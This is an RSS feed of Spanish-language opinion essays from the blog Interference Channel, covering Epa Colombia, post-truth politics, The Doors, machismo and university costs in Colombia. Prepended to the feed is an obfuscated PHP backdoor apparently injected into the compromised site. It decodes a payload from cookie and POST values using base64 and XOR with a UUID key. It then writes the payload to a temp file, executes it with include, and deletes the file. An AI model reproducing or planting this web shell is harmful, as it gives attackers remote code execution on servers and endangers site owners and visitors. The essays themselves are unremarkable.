$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?>
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Otros – www.interferencechannel.com http://interferencechannel.com Wed, 24 May 2023 23:52:39 +0000 en-US hourly 1 https://wordpress.org/?v=5.1.18 http://interferencechannel.com/wp-content/uploads/2016/04/cropped-IC-32x32.jpg Otros – www.interferencechannel.com http://interferencechannel.com 32 32 Epa colombia: ascensos y descensos de una ídola. http://interferencechannel.com/2022/01/17/epa-colombia-ascensos-y-descensos-de-una-idola/ Mon, 17 Jan 2022 05:53:49 +0000 http://interferencechannel.com/?p=2849 + Read More]]>
Fuente: https://www.colombia.com/entretenimiento/entretenimiento-y-farandula/epa-colombia-lloro-al-hablar-crecimiento-personal-314481



Daneidys Barrera fue uno de los Trending Topic del 2021. Su cotidianidad era la noticia del momento, y no por un hecho sino por muchos, pasando de la veneración colectiva al ser ídolo – símbolo de la “violencia del estado opresor”, a la abominación por su video con Uribe. A la decepción.


En lo personal admiro a esta mujer y sus conquistas, como feminista la considero una exitosa empresaria que ha saboreado la palabra empoderamiento en sus altas y en sus bajas; soy también consciente de los múltiples simbolismos que encarna su figura. Ella es símbolo del empoderamiento femenino, de la mujer luchona que sale adelante con sus aciertos y errores. Su figura encarna al ciudadano del común que quiere creer que en este país clasista y racista sí se puede salir adelante, así mismo, paralelamente y sin buscarlo, es símbolo del ciudadano dentro y fuera del sistema, casi como analogía a la figura de Alex en la Naranja mecánica de Kubrick, salvando la intencional violencia del personaje de esta película.

Fuente: https://www.el-parnasillo.com/lanaranjamecanica.htm.
El triángulo simboliza a Alex dentro y fuera del sistema, como “Epa” en su etapa “vandálica” vs. “Epa” la exitosa empresaria.

¿Por qué la analogía? en la película de Kubrick veíamos cómo había un personaje reprobable como Alex y sus Drugos haciendo estragos por la ciudad, Epa, aunque no era violenta, era reprobada por una sociedad que la veía “muy guisa, muy ñera”, la mujer anónima que estaba aprovechando sus 15 minutos de fama.

SU TRATAMIENTO – CONVERSIÓN.

Luego de exponer su opinión -que es la de muchas personas de a pie- frente al gobierno y las instituciones que este defiende (Transmilenio), su popularidad se incrementó dividida entre partidarios y detractores. Este fue el hecho que la catapultó como símbolo, que la hizo ídola. Esa que no tuvo miedo para interpretar y/o manifestar lo que las masas soñaban con hacer y decir.

Fuente: https://www.eluniversal.com.co/farandula/el-video-por-el-que-epa-colombia-fue-condenada-a-5-anos-de-carcel-EL5184987.

De los tiempos en que Daneidys se proyectaba como “la heroína del pueblo frente al estado opresor”.


Ya hecha símbolo, era necesario que el sistema la reprobara y corrigiera para que el pueblo no se sublevara. Se la acorraló y persiguió hasta la violencia económica que con experticia ejecutó Claudia López, cerrando sus peluquerías, entre otras acciones.

Se la podría haber seguido acosando, hasta que alguien recordó lo que decía Maquiavelo: si no puedes con tu enemigo, únete a él, fue entonces tras la amenaza de ir a la carcel que Daneidy realizó un video con Uribe, colocando además su publicidad en Transmilenio, entidad que en su tiempo hubiera vandalizado, transmitiéndonos con esto un mensaje contradictorio frente a sus opiniones y la sensación de alta traición a ese altar de ídolo que muchos erigieron.

Fuente: https://www.agenciapi.co/noticia/politica/razones-de-la-reunion-de-epa-colombia-con-alvaro-uribe

Al final Daneidy, como Alex, pudo decir: “Sin lugar a dudas, me había curado.”.

Fuente: https://www.yaconic.com/teorias-y-el-final-explicado-de-la-naranja-mecanica/
Fuente: https://primeralinea.com.co/millonaria-pauta-publicitaria-de-epa-colombia-y-transmilenio/ Daneidy haciendo “¿parte del sistema?”.

Por otra parte, como individuos no tenemos la oportunidad de ser redimidos, el mensaje final con todo esto se resume en otro dicho, bastante adecuado a estos tiempos corruptos: “El problema de la rosca es no estar dentro de ella”. Quedamos sin la ilusión de que una joven y exitosa mujer encarne nuestra lucha cotidiana contra un régimen que nos oprime, y han quedado muchos, también, con el desencanto de que no importa de donde vengas para luchar contra la opresión, porque al final el poder corrompe el corazón.

¿Y ESO ES TODO?

No. De esto ya han pasado 4 meses, tal vez. ¿Qué ha demostrado o qué puede observarse de Daneidy durante el tiempo restante? Pienso en ella como el alter ego de muchos, hombres y mujeres de pocos ingresos que a pesar de todo sueñan con ser como ella: tener tanta plata que la puedes botar por un helicóptero con el orgullo de saber que es plata limpia, que no tiene ese manoseo maldito del narcotráfico; tener una empresa, empleados, el carro (o los carros) de tus sueños, hacerle una casa a sus padres… ¡En fin!.

Le veo también como el alter ego de ella misma, reflejando el imaginario que una niña de extracción popular puede ver como lo exitoso: ser una mujer “buena” (o buenona), aunque eso signifique modificar su cuerpo y por ende evidenciar que las mujeres deberíamos sentirnos inconformes por como somos; provocadora, fomentando el escándalo casi que como estrategia de venta. Cabe recordar su proclamada homosexualidad, sus trinos a favor y en contra de los políticos y la política, e incluso el más reciente, en contra de la “infortunada frase” emitida por nuestra alcaldesa sobre el uso de los carros en pico y placa, que ha servido de materia prima a divertidos y variados memes.

Daneidys no deja de ser la brillante empresaria que a pesar de los problemas sale adelante sin dejarse hundir de las circunstancias y los números lo dicen:

Fuente: https://www.larepublica.co/economia/los-aprendizajes-de-epa-colombia-y-la-economia-popular-3166517 8 de mayo de 2021.

Aclaro la neutralidad de esta publicación y reitero mi admiración por esta mujer, aunque la comparación hecha en este artículo y ciertos de los comentarios aquí plasmados puedan parecer odiosos, lo que demuestra día a día, la imagen que ella vende, no es solo la de un producto de calidad y con alta demanda como sus keratinas, sino la del arquetipo exitoso e ideal del Colombiano: Una persona recursiva y berraca, echada pa’lante, que no se deja amedrentar ante los desafíos de la vida. Una mujer que se ha ganado peso por peso el título de “la reina de las keratinas”.

Fuente: https://www.elempleo.com/co/noticias/tendencias-laborales/epa-colombia-ahora-ofrece-empleo-en-su-empresa-de-keratinas-6459


Paola Rubiano.

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Posverdad y política contemporánea. http://interferencechannel.com/2018/04/06/posverdad-y-politica-contemporanea/ Fri, 06 Apr 2018 17:15:52 +0000 http://interferencechannel.com/?p=1949 + Read More]]> “We are rapidly becoming prototypes of a people that totalitarian monsters could onlydrool about in their dreams” Steve Tesich

 

Hace poco frente a una estación de servicio escuchaba una conversación sobre Castro Chavismo, eran dos personas, una argumentaba que si bien era cierto que los Castrochavistas estaban en el poder y estaban peligrosamente fuertes, los Colombianos no iban a dejar que un Chavez tomara el poder, por la sencilla razón que “al Colombiano le gusta la cosa propia”, la propiedad privada. Al colombiano “no le gusta que le regalen las cosas”, al colombiano le gusta ganárselas.

Estaba escuchándolas cuando me toco mi turno en la Estación. Cuando entregue los 40 mil pesos pensé que de verdad la gasolina es cara en este país pero es barata en los Estados Unidos y es barata en Venezuela, y pensé que el buen vivir es definitivamente complejo de encontrar.

Volví a pensar en lo que hablaban las señoras en la estación días después, el tema del Castrochavismo me acorrala en cada rincón que voy de la ciudad, he conversado con Iván Cepeda, con el Uribismo, con líderes políticos de las FARC, con lingüistas y hasta con el perro. Pero nadie me puede contar, me puede ayudar a entender que es esto de Castro Chavismo.

El término “pos verdad” ha tenido una fuerte distribución desde la llegada de Trump a la casa oval, los medios liberales gringos le han dedicado una guerra directa, una guerra abierta y hablan hasta la saciedad de ese término. Quisiera desentrañar este curioso neologismo, quisiera desnudarlo.

“De acuerdo al diccionario Oxford, el término posverdad fue usado por primera vez en un ensayo de 1992 por el dramaturgo serbio-estadounidense Steve Tesich en The Nation (de Nueva York). Tesich, escribiendo sobre el escándalo Watergate, el escándalo Irán–Contra y la Guerra del Golfo, expresó: «Nosotros, como pueblo libre, hemos decidido libremente que queremos vivir en algún mundo de posverdad»”

Pensemos un poco que el contexto en que nace el término era relativamente parecido del actual (al menos en lo que respecta a los Estados Unidos). Un presidente corrupto, totalitario con todos los visos de personaje sórdido, una democracia agotada, una mala representación de las minorías y una tendencia oligopolica en todas las cortes.

El escándalo Watergate puso en evidencia como el presidente Nixon utilizaba todas las instituciones policiales del gobierno, para dañar y desprestigiar al resto de fuerzas políticas en ese caso el Partido Demócrata. Es precisamente en esa crisis moral de la política donde surge el término de Posverdad. La Posverdad es entendida como la manipulación de la verdad, el prefijo “pos” que viene del latín quiere decir “después de”. El término indica que vivimos aparentemente en una realidad después de la verdad, una realidad en donde la certidumbre de nuestras hipótesis no tiene lugar, la verdad –se nos dice- no es importante, hay algo más importante: el uso que del lenguaje hacemos desde la prensa o desde la política.

La Posverdad ha venido tomando lugares cada vez más comunes en la vida contemporánea, el siglo XX que quizás fue el siglo de la publicidad nos enseño mucho de dominación y manipulación de masas, el traspaso de estos usos del lenguaje y las imágenes a la política es uno de los eventos más interesantes de las democracias modernas.

La Posverdad encierra en sí misma un principio que pienso es falso, la idea de que vivíamos en una Edad de la Inocencia donde la verdad si le importaba a los medios y a los políticos, una edad aparentemente perfecta donde los mensajes entre emisor y receptor eran limpios y honestos.

Esta idea es aparentemente atractiva pero es una falacia. En tiempos anteriores los políticos, editores y periodistas mentían y escondían verdades para satisfacer los intereses de los poderes económicos más poderosos. No solo escondían y argumentaban falazmente sino además mentían explícitamente. Cuando el golpe de estado en Chile 1973 muchas cadenas decidieron no transmitir lo que sucedía porque estaban alineados con Augusto Pinochet, así mismo en la segunda guerra mundial los aliados tenían prohibido contar la verdadera cifra de muertos o la cantidad de batallas perdidas. En la revolución Cubana era difícil distinguir la prensa libre de la propaganda, y claro la Epitome de la ironía global frente a esta situación es Pravda –que en ruso significa “la verdad”- era un periódico que paso de manos liberales cercanas al imperio de los Romanof a manos Sovieticas, en ambos casos fue evidente como “la verdad” solo se encargo de proteger al imperio de los Romanof y luego al Estalinismo, para Pravda no había gulag, no había muertos, no había torturas. El concepto de Posverdad es nuevo como concepto pero muy antiguo como ejercicio.

A veces escucho a mis colegas de los diarios grandes en Colombia como El Tiempo o El Espectador hablar con cierta moral sobre este mundo de Posverdades, pienso como no se preguntan cómo se deciden las miradas editoriales de estos diarios en que trabajan. Cuando uno busca palabras tendenciosas como palabras de connotación sexual para llamar la atención de los lectores, cuando uno malinterpreta una versión para hacerse escuchar, cuando uno cubre de manera simplista y sin profundidad, falta a la verdad y a la ética. Eso es lo más común en la mayoría de periodistas. Digamos que los que trabajan para la publicidad lo hacen de manera menos hipócrita, en la publicidad el concepto de verdad no existe, existe el concepto de engaño, me divierte como se relamen encontrando eufemismos al arte de decir mentiras.

Engagement dicen, marketing y así. Nadie quiere aceptar esa doble contradicción de nuestra moral cristiana moderna: mentir es malo nos dicen de chicos, pero engañar una audiencia es necesario, mentir a los electores, es necesario, mentir a los lectores, es inevitable.

Esto nos lleva al siguiente lugar sobre la Posverdad, Tesich es muy claro en su ensayo y la pertinencia de traer a colación este concepto, dice Tesich que el espectro de información actual está en manos equivocadas, que los que dirigen los medios son realmente los empresarios, los moguls como Murdoch.

Yo creo que el surgimiento de este término y la guerra que los liberales del mundo le estamos haciendo a los totalitaristas tiene que ver más con el sentimiento de que el cinismo de hoy ya cruzo una línea roja de peligro. Si un medio puede mentir sobre lo que sabe, es grave, si esconde la verdad es lamentable, pero el hecho de que una nación como Rusia pueda intervenir en una cantidad alarmante de electores Norteamericanos con el cinismo mas grande, habla del estado real critico del concepto de información y libertad de expresión. El hecho de que el plebiscito se haya manipulado para hacer pensar a la gente que era lo opuesto a lo que en efecto proponía, es gravísimo, es la caída de un sistema de valores y pone básicamente en crisis la democracia.

Estamos en un momento crítico para las democracias modernas, si los políticos llegan al poder por su capacidad de “mercadearse”, de mentir a un electorado, las cosas han cruzado a un punto que puede ser peligroso. La reestructura de la democracia se hace pertinente si el sistema actual produce resultados peligrosos para las garantías mínimas de democracia. Lo que quiero decir es que el surgimiento de la manipulación frontal puede traernos monstruos que creímos desterrar hace más de setenta años. Si la sociedad en su conjunto no comienza un ejercicio de reflexión hondo acerca de estas cosas, estaremos a la deriva de los más hábiles en la era de la Posverdad: aquellos que mejor sepan mentir.

Tesich utiliza de maneras complejas el término a decir verdad, y el uso de Tesich es incluso diferente del que actualmente escuchamos en los contextos en que este término surge. Un ejemplo de esto es de qué creemos que hablamos cuando hablamos de Posverdad: muy probablemente pensamos en campañas de mentiras para  elegir a un político, en trolls, en replicadores sociales pagados, en una cantidad finita de elementos que parecen ser el mismo: opinión que parece opinión pero que no lo es, publicidad que no quiere verse como publicidad; que quiere verse como opinión o incluso algo más infame e interesante: publicidad que quiere verse como Crítica. Los medios de comunicación siempre han tenido dueño, incluso en países socialistas donde el dueño es el Estado, el verdadero dueño termina siendo la propaganda del estado, o el gobierno de turno. Pravda no era el periódico de los sovieticos, era el periódico del gobierno soviético, el tratamiento que de la “verdad” hacía Pravda, es el tratamiento de la verdad que le convenía al gobierno. Así mismo el tratamiento de la Verdad que hacen los medios es el tratamiento de la Verdad que gusta a los propietarios de esos medios. Hay cosas que son evidentes sin embargo es importante decirlas, porque a veces hacemos como que no son lo que son y comenzamos con eso que en el periodismo llamamos autocensura y en otros campos es llamado simplemente estupidez.

Si llamamos Posverdad a la instrumentalización, exageración y desviación de la información la Posverdad ha existido durante milenios.

Yo creo que más bien el término se está usando como un descargo de la Prensa liberal (que igual tiene editores, dueños y cerebros que eligen que es verdad y que no) contra esos nuevos actores que el mundo digital permite surgir; organizaciones como Cambridge Analytica, organizaciones como Wikileaks etc. El problema de la sociedad contemporánea es que cada vez más actores tienen la posibilidad de hacer lo que antes solo los grandes ricos, las iglesias y los dueños de la prensa podían hacer. Que es en efecto administrar la verdad, o mentir infamemente para proteger intereses o destruir adversarios. La única vía de escape a un sistema de información viciado y lleno de trampas es una profunda educación crítica. De nada sirve que los medios Liberales se lamenten o inventen “detectores de mentiras”, el mentiroso siempre lleva ventajas. Solo una audiencia educada, crítica y altísimamente intelectual puede evidenciar a estos mentirosos y a sus falacias, puede des-cubrir el verdadero propósito de un texto, de una opinión o de una publicidad. Los medios tradicionales hablando de Posverdad con publicidad en sus redes, en sus publireportajes o en sus impresiones o en su junta directiva, son la epitome de la paradoja; son el gran Pinocho hablando de mentiras.

El juego político  ha sido siempre dominado por la falacia, atrás de la política, el verdadero complot nunca se resuelve. Somos pésimos observadores, no sabemos observar la realidad, menos sabemos entender lo que no es real.

La educación crítica y la reflexión permanente puede que sean la única salida a esta paradoja.♦

Diego Aretz es fundador y editor de Interference Channel.

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Las puertas http://interferencechannel.com/2017/02/09/las-puertas/ Thu, 09 Feb 2017 12:42:53 +0000 http://interferencechannel.com/?p=1770 + Read More]]> Resultado de imagen para los doors 1968: Burroughs sigue enganchado a la heroína. Los dos navíos británicos aún reposan en la costa norteamericana a la que arribaron un año antes: el afthermath de los Stones, volcado en llamas sobre una playa y el Rubber Soul de los mesiánicos Beatles taciturno y envuelto en  el oleaje implacable e infinito.  Vietnam arde.

Las panteras negras caen fusiladas. El LSD ha sido declarado psicotrópico. Kerouac ya abandonó los estudios de grabación a los que acudió a declamar su poesía radioactiva, a escupir  gasolina y alcohol sobre el micrófono. El mundo ya conoce a Hendrix y a su guitarra en llamas; Hendrix ya conoce las bencedrinas, los tranquilizantes y  la morfina. L.A. está bañada en sustancia toxicas. Puedes comprar en las esquinas Demerol, Dilaudid, Palfium, Dolofina o mezcalina. Jim y la pandilla  ya viajaron al desierto. Las puertas de la percepción no fueron abiertas – Blake estaba chalado- las puertas de la percepción fueron destruidas a chutes y patadas.  Los Doors nacen en el desierto de California.

Fue allí donde el proyecto musical tuvo un primer vinculo lo suficientemente estable para lograr soportar el infiernito que durante casi una década arreciaría. Manzarek, tras abandonar la escuela de cine  e instalarse en L.A., se hace con una casita en la playa donde tocan por vez primera.  Son 4. No tienen bajista pero están llenos de furia. No suenan parecido a nada que haya escuchado el publico adolescente de la época pero tampoco suenan únicamente furiosos. Son el brutal deathcore del hippie tarado que quiere ligar con las jovencitas en la playa pero es también la banda sonora del ex convicto negro que patea al alguacil en el Harlem neoyorquino. No son músicos expertos y ni si quiera lo suficientemente técnicos pero tienen energía, disciplina y misterio suministrado en las dosis indicadas.   Son dos discos geniales en menos de un año: el homónimo y Strange Days. 1967 puede sentirse orgullosa. No solo tendrá a Zappa y a los hijos de puta con dos baterías, el Monterrey Pop Festival y el primer recital de Cream en Norteamérica.

También  tendrá a un magistral Manzarek sudando cocaína sobre el sintetizador, a un Krieger que puede poner a bailar al sepulturero de tu pueblucho solo con dos cuerdas, a un Densmore solitario y en forma, muy al tanto de la situación y a un deshilachado jovencito con la  voz del infierno en las entrañas capaz de rugir como un suicida y afinar como Sinatra.    En los ritos chamanicos el sacerdote se introduce, mediante sustancias sagradas, el peyote o la mezcalina, en una especie de memoria colectiva e inconsciente de la tribu. Las enfermedades mentales que comúnmente asociamos dentro de nuestra civilización como tal, se visibilizan más bien como afectaciones de carácter espiritual gracias a un uso constante de estas sustancias y a una predisposición anímica crucial. 

Los Doors lo explican brevemente. Les interesan las audiencias y los ritos. Llevan el desierto por dentro y cuentan con un chamán portable al que no hay que darle cuerda sino ron, al que el alcoholismo le ha roto la garganta y le ha dado nuevas profundidades y texturas.  No son la mejor banda, ni lo serán. No están ni si quiera cerca de las mejores y aún así sus siguientes discos suenan con el brillo apocalíptico de sus tres primeras obras.  En los siguientes años, mediados por las extenuantes giras a nivel internacional, aparece Waiting for the sun. En ese 1968, atiborrado de escándalos infantiles por parte de la banda producidos por las distintas adicciones, el vocalista conoce a Mick Jagger en un destartalado hotel. Le cuentan de un tal Brian Jones recorriendo Marruecos mientras Tim Hardin se chuta en el baño. Aparecen los enfrentamientos entre la pasma gringa y los asistentes a los recitales de la banda. Morrison es arrestado y la pandilla se ve frágil cuando terminan las sesiones del L.A. Woman.

El sueño termina con Morrison empapado en su bañera, muerto por la dosis fatal y el grupo hecho trizas.  Viene lo usual tras el fallecimiento: mitos aparecen sobre el deceso del vocalista (algunos absurdos). La banda, impulsada por la avaricia de algún empresario,  trata de continuar pero, sin fracasar rotundamente, abandonan a buena hora. Viene toda la mierda que se debe tragar quien firma con una disquera: recopilaciones, entrevistas inéditas y hasta material pirata de conciertos en garajes situados al final del mundo.  Manuscritos, cartas y una cantidad de información  ridícula que va desde la marca del papel higiénico del manager de la banda o la cantidad exacta del perico que necesitaba ingerir Morrison para entrar en el mal viaje.  

 Pero no mucho material musical y nos quedamos con las ganas los que estamos ansiosos y desesperados. Los Doors se despiden y Blake estaba chalado, las puertas no fueron abiertas, fueron destruidas a chutes y patadas, tenían vomito y  tabaco.  James Jacobo        

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A TI TE TOCA ESTO Y A MI ESTO. http://interferencechannel.com/2017/01/20/a-ti-te-toca-esto-y-a-mi-esto/ Fri, 20 Jan 2017 04:19:54 +0000 http://interferencechannel.com/?p=1767 + Read More]]>

“Que mi novio es muy celoso y me toca “marcar tarjeta”.   Que una mujer es indecente si tiene un escote muy pronunciado,  que si una mujer está gorda es porque es descuidada de su aspecto, que si sale sola y un hombre se propasa con ella es porque se lo buscó, que ya no estamos en los tiempos de antes y que las mujeres trabajan y estudian pero que el hogar es responsabilidad de ellas.  Que los hombres son los que deben pagar la cuenta, que los niños son bruscos y las niñas delicadas…”.  Y el machismo ya no existe pero de manifiesto una única verdad: la inequidad de género está profundamente instaurada en la sociedad.

Esta inequidad, como se volvió un hábito, una costumbre, pasa desapercibida sin mayor alteración. El problema es cuando un psicópata basado en estas condescendencias sociales asesina o maltrata a una mujer.  Como este asunto es de importancia manifiesta y no dejamos de ser un segmento de población vulnerable, no tanto porque seamos incapaces sino porque somos blanco de ataques constantes debemos esperar a que a alguien en un momento de iluminación o lucidez descubra la extraña realidad de que también somos personas, y que los derechos humanos nos aplican (o al menos deberían aplicarnos) y merecemos que si nos matan “por celos”  nos hagan justicia en lugar de echarnos la culpa.

En los últimos meses nos hemos horrorizado con crímenes como los de Juliana Samboní y Dora Lilia Gálvez y me temo que esto no dejará de pasar hasta que como sociedad cambiemos nuestro modo de pensar.

Pero dejar nuestro micromachista pensamiento no siempre nos es conveniente, no se puede desconocer que es fácil aceptar que paguen la cuenta o que te recojan si sales a la calle y para algunas incluso que sea el hombre el que responde por todos los gastos del hogar, así que si enfrentamos la realidad dejar el machismo puede implicar ciertas renuncias, pero también implica vivir más relajados. No todo puede ser reproches para ellos. Creo que eliminar el machismo de nuestras cabezas significa ante todo, ser responsables de nosotros mismos, de nuestra vida, sin querer que “el príncipe azul llegue a mantenernos”, dejar de lado nuestro orden establecido y no ver raro si un hombre es profesor en un prekinder o si una chica se dedica a trabajar en construcción.

Significa que no creamos que el deber de una mujer es verse linda y el de un hombre ser fuerte. Significa que los hombres no esperen que sea una mujer la que limpie la casa o que las mujeres cedamos el puesto a un hombre que va cargado de maletas. (Y sé que hay muchas que lo hacemos). Se trata, en fin, de que solo seamos humanos sin dividirnos en géneros. Y tú, ¿Estarías dispuesto a tener la mente abierta y a dar el primer paso?

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El problema de la mentalidad y la educación en el país. http://interferencechannel.com/2016/04/20/el-problema-de-la-mentalidad-y-la-educacion-en-el-pais/ Wed, 20 Apr 2016 04:03:34 +0000 http://interferencechannel.com/?p=1435 + Read More]]> Según el ranking que publica anualmente Scimago Institutions Rankings sobre las mejores instituciones educativas de Iberoamérica, las 5 mejores universidades de Colombia son: Nacional de Bogotá (puesto 37), Universidad de Antioquía (puesto 75), Universidad de los Andes (puesto 87),  Universidad del Valle (puesto 125) y por último la Universidad Javeriana (puesto 128)[1], nos demuestra que las Universidades públicas de Colombia tienen la mejor calidad educativa (3 de las 5 son públicas) y que el pagar mucho no es equivalente a bueno. Pero esto también nos muestra algo que personalmente preocupa, y es qué el sistema educativo de Colombia, a nivel de pregrados es muy bajo en comparación con Iberoamérica, que podría entenderse si se analiza la política de educación en grandes potencias como Brasil, México y España, pero igual en comparación los precios de unas y otras no tienen equiparabilidad.

La primera Universidad privada del ranking es la pontificia universidad Católica de Chile, en el puesto 32, (luego de varias Universidades Públicas en su mayoría de Brasil y España). La carrera más costosa es Medicina que tiene un valor anual de $5’487.000 pesos chilenos, que al cambio actual de nuestro peso colombiano es $25´414.449,3, en una universidad Top de Chile y de Latinoamérica. En relación a los $39’968.000 que paga un estudiante en la universidad de los Andes, la mejor universidad privada del país según el mismo ranking, pero casi 40 puestos más por debajo de la chilena,  no se  explica de ninguna forma el sorprendente precio semestral en contraste con la chilena.  Esto facilita la decisión de un estudiante colombiano para entrar a una universidad privada en Colombia, o aplicar a una pública en el extranjero y a una pública en el país.

Una carrera en una universidad privada en Colombia puede llegar al escandaloso costo de 240 millones, sin contar con los gastos que acarrean la compra de materiales y fotocopias.

 Es entonces, sin duda alguna, la fuga de cerebros  un problema que realmente no le interesa a las entidades educativas del país, por lo menos a las privadas, como egresado de una de las Universidades antes nombradas, me preocupa aún más la inoperancia de las mismas frente a estas estadísticas y rankings, que solo perjudican a los estudiantes que invierten millonadas en su educación, pensando que las mejores opciones las consiguen dentro del país y quedando completamente en ridículo al compararse con otros profesionales del mundo.

Lo anteriormente mencionado lleva a la creación de peores instituciones educativas, cada vez más retrasadas con respecto a sus pares en el mundo, dando un pésimo manejo a la educación, que es un negocio privado en Colombia y que cada vez más aumenta los bolsillos de unos pocos que se han visto beneficiados por la “neoliberalidad” de los gobiernos y sus políticas en educación.

Las políticas ineficientes del ministerio de educación para incentivar la investigación y repatriar cerebros, con préstamos que no tienen intereses realistas, o sencillamente con fechas límite que perjudican la investigación, y el corte de presupuestos para las Universidades públicas, llevan cada vez más a nuestros jóvenes mentes a preferir estudiar y trabajar en otros países, que les ofrecen mínimos económico y de calidad de vida muy superiores a los ofrecidos por Colombia.

La educación desde hace unos 25 años en Colombia se ha guiado por una postura totalmente neoliberal, que ha dejado fugar artistas, ingenieros, físicos y todo tipo de mentes brillantes que sencillamente no pueden mantenerse con los sueldos míseros que se les pagan a los profesores en Colombia, o a los investigadores que viven endeudados con Colciencias, en general las Universidades privadas no patrocinan investigación, ni apoyan investigaciones, publicaciones o trabajos de campo que apoyen la manutención de un “status” académico, se llenaron su propia mente con la creencia de avanzada que llenar de cemento sus campus o incrementar los metros cuadrados de sus academias les daba mejores resultados, o que esto realmente pesa en la calidad académica. Desafortunadamente esto no se ve reflejado en sus estudiantes y mucho menos en sus facultades y profesores.

A esto se le suma la calidad de vida que obtienen sus estudiantes al convertirse en profesionales, los índices de desempleo y de precarización en los primeros empleos de los estudiantes de Universidades como la Javeriana son bastante altos. La responsabilidad reside en las carreras también,  la ausencia de guías metódicas sobre cosas tan sencillas como hacer una hoja de vida, preparar una entrevista o hacer una hoja de ruta profesional hace que el egresado salga literalmente sin herramientas al mundo real a rebuscársela. Además la poca ayuda que reciben los nuevos profesionales desde las oficinas de egresados para conseguir empleo, sin bolsas de empleo decentes ni guías vocacionales que les ayuden a encontrar lo que buscan.

Un recién egresado que esté dispuesto a seguir su formación académica, debe además estar dispuesto a desembolsillar entre 40 y 120 millones de pesos, dependiendo de su carrera y la especialidad que quiera estudiar, esto comparado con el costo de una universidad Pública en Europa y el costo de mantenimiento es no solo similar sino que más económico, sin mencionar el plus de la experiencia, el problema real de esto no es solo político sino de mentalidad. Las universidades y en general estado prefiere financiar la fuga de cerebros que apoyar programas de apoyo académico e investigación en el país,  no es necesario aclarar que los países potencia mundial gasta un rubro considerable en investigación, porque sencillamente invertir en crear tecnología y conocimiento es más económico y rentable que comprar patentes y ejecutar experimentos de teorías desarrolladas en lugares ajenos a las realidades del país.

Mientras en la generalidad este mal visto pagarle un sueldo decente a un profesor, sin importar el grado de escolaridad al que entregue su conocimiento, seremos una sociedad destinada a fracasar y aumentar cada vez más las brechas que separan las clases sociales actuales.

[1] Datos recogidos de: http://static.iris.net.co/dinero/upload/documents/Documento_206753_20150312.pdf

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El machismo es cuestión de conveniencia. http://interferencechannel.com/2016/03/15/el-machismo-es-cuestion-de-conveniencia/ Tue, 15 Mar 2016 00:13:04 +0000 http://interferencechannel.com/?p=1560 + Read More]]>

 

El 25  de diciembre pasado tomé un taxi. El taxista, como cualquier taxista latinoamericano que se respete, empezó a armarme conversación y me dijo que era impresionante el número de personas borrachas que había en la calle el 24.   Entre ellas mencionó que muchas eran mujeres y me habló de una carrera la noche anterior en la que iba una chica y su pareja, un varón, el cual no se caracterizó en absoluto por su caballerosidad.

Hasta ahí ninguna novedad. Pero me siguió hablando y me dijo que a pesar de lo civilizado de nuestra sociedad, aún había mucha gente machista lo cual dio pie a un momento de desahogo. Me contó que él vivía con una mujer que conoció cuando era la pareja de un compañero, también me dijo que este personaje se divertía contándole a sus compañeros qué hacía, cómo y por dónde con esta mujer, mostrando la foto de ella, exhibiéndola como el mejor de los chistes. Sorpresiva e inusitadamente su expresión  cambió. El señor empezó a manotear, defendiendo acaloradamente su idea de que a las mujeres debe respetárselas, reprochando enérgicamente el comportamiento de su compañero.

A su vez la sorprendida fui yo, ya que cometí el error de juzgarle por su aspecto. Él era un hombre de aproximadamente unos  55 años, con una bien alimentada pancita cervecera, un vocablo propio de un bachiller raso pero digno representante de un gremio tan pesado y masculino como el transporte. De él hubiera esperado que me dijera que las mujeres no tenían que emborracharse sino estar atendiendo a sus maridos e hijos, y sin embargo no he visto hasta ahora que ningún hombre tenga tan clara como él la idea de que las mujeres somos personas con igualdad de condiciones, privilegios y pasiones, y que así como los hombres las viven en total aceptación con la sociedad no hay motivo por el cual las mujeres no puedan hacerlo.

Al preguntarme el por qué de esta situación, pienso que el problema está en la mentalidad y la educación para la que hemos sido formados. Creo que esto pasa porque degradar a las mujeres se convirtió en norma social. Es decir, una cosa son las normas legales diseñadas para poner un poco de orden al comportamiento humano y otra cosa son esas normas culturales, arraigadas entre la gente, construidas por los pueblos y las comunidades a través de la tradición que las identifica y las esculpe como sociedad; normas que se ven reflejadas en acciones como el hecho de ceder la silla al discapacitado, o circuncidar a los jóvenes varones de ciertas comunidades, o hacer natilla y buñuelos en diciembre. Y para muchas comunidades, que las mujeres ejerzan exclusivamente roles familiares, aunque eso evite que tomen decisiones propias como personas es lo correcto.

Supongo que alguna parte de nuestra naturaleza humana tiene la necesidad de sentirse poderosa, con dominio sobre algo aun sabiendo que actúa mal. Para librarse del cargo de conciencia se ha valido de mil justificaciones. Un ejemplo de ello pudimos verlo en el proceso de colonización, donde era más fácil y cómodo pensar que los negros e indios no eran personas sino animales y que por eso estaba bien tratarlos peor para que sirvieran a otros seres humanos.

